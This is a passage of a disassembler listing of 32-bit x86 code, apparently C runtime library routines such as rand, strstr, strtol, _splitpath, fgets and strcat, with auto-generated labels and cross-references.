loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26801F9h
		test	eax, eax
		jnz	short loc_41C7D2
		nop
		call	near ptr 2680972h
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
